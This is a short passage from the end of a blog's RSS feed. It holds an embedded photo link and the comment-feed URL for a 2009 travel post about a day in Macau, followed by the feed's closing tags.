<p><a href="http://www.alexwarren.co.uk/wp-content/l_1600_1200_749F9924-5853-4EED-9B30-D70599F4A171.jpeg"><img src="http://www.alexwarren.co.uk/wp-content/l_1600_1200_749F9924-5853-4EED-9B30-D70599F4A171.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-1-ambling-in-macau/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

